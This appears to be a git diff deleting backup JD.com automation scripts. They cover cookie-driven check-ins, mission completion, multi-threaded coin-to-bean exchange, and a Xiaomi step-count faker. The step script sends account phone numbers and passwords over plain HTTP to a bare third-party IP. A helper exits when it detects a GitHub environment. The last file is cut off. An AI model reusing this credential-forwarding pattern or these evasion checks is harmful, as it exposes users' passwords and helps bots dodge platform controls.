skuId, areaId, periodId - cookieList=[] - user_num=1 - a = 0 - for i in cookies: - headers = setHeaders(i) - userName = userNameList[cookiesList.index(i)] - try: - totalBlue, shopName = getBlueCoinInfo(headers) - if totalBlue != 0: - if a == 0: - a = 1 - title, prizeId, blueCost, status, skuId, areaId, periodId = isCoinToBeans(coinToBeans,headers) - totalBlueW = totalBlue / 10000 - if user_num == 1: - printT("您已设置兑换的商品:【{0}】 需要{1}w蓝币".format(title, blueCost / 10000)) - printT("********** 首先检测您是否有钱呀 ********** ") - if totalBlue > blueCost: - cookieList.append(i) - printT(f"账号{user_num}:【{userName}】蓝币:{totalBlueW}万...yes") - else: - printT(f"账号{user_num}:【{userName}】蓝币:{totalBlueW}万...no") - except Exception as e: - printT(f"账号{user_num}:【{userName}】,该用户异常,查不到商品关键词【{coinToBeans}】") - user_num += 1 - - if len(cookieList) >0: - printT("共有{0}个账号符合兑换条件".format(len(cookieList))) - return cookieList - else: - printT("共有{0}个账号符合兑换条件...已退出,请继续加油赚够钱再来~".format(len(cookieList))) - exit(0) - -#Start -def start(): - try: - global cookiesList, userNameList, pinNameList, cookies, qgendtime - printT("{} Start".format(script_name)) - cookiesList, userNameList, pinNameList = getCk.iscookie() - cookies = checkUser(cookiesList) - qgendtime = '{} {}'.format(tomorrow, endtime) - if blueCoin_Cc: - msg("并发模式:多账号") - else: - msg("并发模式:单账号") - printT(f"开始抢兑时间[{starttime}]\n正在等待,请勿终止退出...") - while True: - nowtime = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f8') - if nowtime > starttime: - if blueCoin_Cc: - ttt = [] - user_num = 1 - for ck in cookies: - thread = TaskThread(issmtg_obtainPrize, args=(ck, user_num, prizeId, areaId, periodId, title)) - ttt.append(thread) - thread.start() - user_num += 1 - for thread in ttt: - thread.join() - result = thread.get_result() - if result == 2: - break - else: - user_num = 1 - for ck in cookies: - response = issmtg_obtainPrize(ck, user_num, prizeId, areaId, periodId, title) - user_num += 1 - if response == 2: - break - elif nowtime > qgendtime: - break - elif nowtime < unstartTime: - printT("Sorry,还没到时间。") - printT("【皮卡丘】建议cron: 59 23 * * * python3 jd_blueCoin.py") - break - except Exception as e: - printT(e) -if __name__ == '__main__': - start() - try: - if '成功兑换' in msg_info: - send(script_name, msg_info) - except: - pass \ No newline at end of file diff --git a/backUp/jd_bs.py b/backUp/jd_bs.py deleted file mode 100644 index afb0a88..0000000 --- a/backUp/jd_bs.py +++ /dev/null @@ -1,39 +0,0 @@ -#/* -# 小米运动更新步数 -#[task_local] -# 小米运动更新步数 -#0 15 15 * * -#*/ - -import requests - -import random - -number2 = random.randint(50001,65000) - -dict = { -# '小米运行账号':'密码' - '':'' - } - -header={ - - 'User_Agent':'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; Tablet PC 2.0; .NET4.0E)', - -} - -for key in dict: - - number,password = (key,dict[key]) - - lj = f"http://42.193.130.93:8080/mi?phoneNumber={number}&password={password}&steps={number2}" - - r = requests.get(url = lj,headers=header) - - r.encoding = r.apparent_encoding - - t = r.text.encode('gbk', 'ignore').decode('gbk') - - print(t) - - print("您今日运动步数结果为{}".format(number2)) diff --git a/backUp/jd_car.js b/backUp/jd_car.js deleted file mode 100644 index 3efa88d..0000000 --- a/backUp/jd_car.js +++ /dev/null @@ -1,357 +0,0 @@ -/* -京东汽车,签到满500赛点可兑换500京豆,一天运行一次即可 -长期活动 -活动入口:京东APP首页-京东汽车-屏幕右中部,车主福利 -更新地址:jd_car.js -已支持IOS双京东账号, Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js -============Quantumultx=============== -[task_local] -#京东汽车 -10 7 * * * jd_car.js, tag=京东汽车, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true - -================Loon============== -[Script] -cron "10 7 * * *" script-path=jd_car.js, tag=京东汽车 - -===============Surge================= -京东汽车 = type=cron,cronexp="10 7 * * *",wake-system=1,timeout=3600,script-path=jd_car.js - -============小火箭========= -京东汽车 = type=cron,script-path=jd_car.js, cronexpr="10 7 * * *", timeout=3600, enable=true - */ -const $ = new Env('京东汽车'); - -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -const randomCount = $.isNode() ? 20 : 5; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://car-member.jd.com/api/'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await jdCar(); - await showMsg(); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function jdCar() { - await check() - await sign() - await $.wait(1000) - await mission() - await $.wait(1000) - await getPoint() -} - -function showMsg() { - return new Promise(resolve => { - $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); - resolve() - }) -} - -function check() { - return new Promise(resolve => { - $.get(taskUrl('v1/user/exchange/bean/check'), (err, resp, data) => { - try { - if (err) { - data = JSON.parse(resp.body) - console.log(`${data.error.msg}`) - message += `签到失败,${data.error.msg}\n` - } else { - if (safeGet(data)) { - data = JSON.parse(data); - console.log(`兑换结果:${JSON.stringify(data)}`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function sign() { - return new Promise(resolve => { - $.post(taskUrl('v1/user/sign'), (err, resp, data) => { - try { - if (err) { - data = JSON.parse(resp.body) - console.log(`${data.error.msg}`) - message += `签到失败,${data.error.msg}\n` - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.status) { - console.log(`签到成功,获得${data.data.point},已签到${data.data.signDays}天`) - message += `签到成功,获得${data.data.point},已签到${data.data.signDays}天\n` - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function mission() { - return new Promise(resolve => { - $.get(taskUrl('v1/user/mission'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.status) { - let missions = data.data.missionList - for (let i = 0; i < missions.length; ++i) { - const mission = missions[i] - if (mission['missionStatus'] === 0 && (mission['missionType'] === 1 || mission['missionType'] === 5)) { - console.log(`去做任务:${mission['missionName']}`) - await doMission(mission['missionId']) - await $.wait(1000) // 等待防黑 - } - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function doMission(missionId) { - return new Promise(resolve => { - $.post(taskPostUrl('v1/game/mission', {"missionId": missionId}), async (err, resp, data) => { - try { - if (err) { - data = JSON.parse(resp.body) - console.log(`${data.error.msg}`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.status) { - console.log("任务领取成功") - await receiveMission(missionId) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function receiveMission(missionId) { - return new Promise(resolve => { - $.post(taskPostUrl('v1/user/mission/receive', {"missionId": missionId}), async (err, resp, data) => { - try { - if (err) { - data = JSON.parse(resp.body) - console.log(`${data.error.msg}`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.status) { - console.log("任务完成成功") - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getPoint() { - return new Promise(resolve => { - $.get(taskUrl('v1/user/point'), async (err, resp, data) => { - try { - if (err) { - data = JSON.parse(resp.body) - console.log(`${data.error.msg}`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.status) { - if (data.data.remainPoint >= data.data.oncePoint) { - console.log(`当前赛点:${data.data.remainPoint}/${data.data.oncePoint},可以兑换京豆,请打开APP兑换`) - message += `当前赛点:${data.data.remainPoint}/${data.data.oncePoint},可以兑换京豆,请打开APP兑换\n` - }else{ - console.log(`当前赛点:${data.data.remainPoint}/${data.data.oncePoint}无法兑换京豆`) - message += `当前赛点:${data.data.remainPoint}/${data.data.oncePoint},无法兑换京豆\n` - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function taskUrl(function_id, body = {}) { - return { - url: `${JD_API_HOST}${function_id}?timestamp=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "car-member.jd.com", - "Referer": "https://h5.m.jd.com/babelDiy/Zeus/44bjzCpzH9GpspWeBzYSqBA7jEtP/index.html", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } -} - -function taskPostUrl(function_id, body = {}) { - return { - url: `${JD_API_HOST}${function_id}?timestamp=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, - body: JSON.stringify(body), - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/json;charset=UTF-8", - "Host": "car-member.jd.com", - "activityid": "39443aee3ff74fcb806a6f755240d127", - "Referer": "https://h5.m.jd.com/babelDiy/Zeus/44bjzCpzH9GpspWeBzYSqBA7jEtP/index.html", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_car_exchange_xh.js b/backUp/jd_car_exchange_xh.js deleted file mode 100644 index 2eb804f..0000000 --- a/backUp/jd_car_exchange_xh.js +++ /dev/null @@ -1,339 +0,0 @@ -/* - 京东汽车兑换,500赛点兑换500京豆长期活动 - 活动入口:京东APP首页-京东汽车-屏幕右中部,车主福利 - 更新地址:https://github.com/X1a0He/jd_scripts_fixed/ - 已支持IOS, Node.js支持N个京东账号 - 脚本兼容: Node.js - 修复兑换api,Fix time:2021-09-06 22:02 - */ -const $ = new Env('京东汽车兑换'); -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if($.isNode()){ - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if(process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://car-member.jd.com/api/'; -!(async() => { - if(!cookiesArr[0]){ - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - for(let i = 0; i < cookiesArr.length; i++){ - if(cookiesArr[i]){ - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - console.log(`=====京东账号${$.index} ${$.UserName}=====`) - for(let j = 0; j < 10; ++j){ - await exchange(); - } - } - } -})().catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') -}).finally(() => { - $.done(); -}) - -function exchange(){ - return new Promise(resolve => { - $.get(taskUrl('v1/user/exchange/bean/check'), (err, resp, data) => { - try{ - if(err){ - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试\n`) - } else { - if(safeGet(data)){ - data = JSON.parse(data); - if(data.status) console.log(`兑换结果:${data.data.reason}`); - } - } - } catch(e){ - $.logErr(e, resp) - } finally{ - resolve(); - } - }) - }) -} - -function taskUrl(function_id, body = {}){ - return { - url: `${JD_API_HOST}${function_id}?timestamp=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Host": "car-member.jd.com", - 'origin': 'https://h5.m.jd.com', - "Referer": "https://h5.m.jd.com/", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } -} - -function safeGet(data){ - try{ - if(typeof JSON.parse(data) == "object"){ - return true; - } - } catch(e){ - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str){ - if(typeof str == "string"){ - try{ - return JSON.parse(str); - } catch(e){ - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - -// prettier-ignore -function Env(t, e){ - "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); - - class s{ - constructor(t){this.env = t} - - send(t, e = "GET"){ - t = "string" == typeof t ? { url: t } : t; - let s = this.get; - return "POST" === e && (s = this.post), new Promise((e, i) => {s.call(this, t, (t, s, r) => {t ? i(t) : e(s)})}) - } - - get(t){return this.send.call(this.env, t)} - - post(t){return this.send.call(this.env, t, "POST")} - } - - return new class{ - constructor(t, e){this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`)} - - isNode(){return "undefined" != typeof module && !!module.exports} - - isQuanX(){return "undefined" != typeof $task} - - isSurge(){return "undefined" != typeof $httpClient && "undefined" == typeof $loon} - - isLoon(){return "undefined" != typeof $loon} - - toObj(t, e = null){try{return JSON.parse(t)} catch{return e}} - - toStr(t, e = null){try{return JSON.stringify(t)} catch{return e}} - - getjson(t, e){ - let s = e; - const i = this.getdata(t); - if(i) try{s = JSON.parse(this.getdata(t))} catch{} - return s - } - - setjson(t, e){try{return this.setdata(JSON.stringify(t), e)} catch{return !1}} - - getScript(t){return new Promise(e => {this.get({ url: t }, (t, s, i) => e(i))})} - - runScript(t, e){ - return new Promise(s => { - let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; - let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; - const [o, h] = i.split("@"), n = { - url: `http://${h}/v1/scripting/evaluate`, - body: { script_text: t, mock_type: "cron", timeout: r }, - headers: { "X-Key": o, Accept: "*/*" } - }; - this.post(n, (t, e, i) => s(i)) - }).catch(t => this.logErr(t)) - } - - loaddata(){ - if(!this.isNode()) return {}; - { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); - if(!s && !i) return {}; - { - const i = s ? t : e; - try{return JSON.parse(this.fs.readFileSync(i))} catch(t){return {}} - } - } - } - - writedata(){ - if(this.isNode()){ - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); - s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) - } - } - - lodash_get(t, e, s){ - const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); - let r = t; - for(const t of i) if(r = Object(r)[t], void 0 === r) return s; - return r - } - - lodash_set(t, e, s){return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t)} - - getdata(t){ - let e = this.getval(t); - if(/^@/.test(t)){ - const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; - if(r) try{ - const t = JSON.parse(r); - e = t ? this.lodash_get(t, i, "") : e - } catch(t){e = ""} - } - return e - } - - setdata(t, e){ - let s = !1; - if(/^@/.test(e)){ - const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), - h = i ? "null" === o ? null : o || "{}" : "{}"; - try{ - const e = JSON.parse(h); - this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) - } catch(e){ - const o = {}; - this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) - } - } else 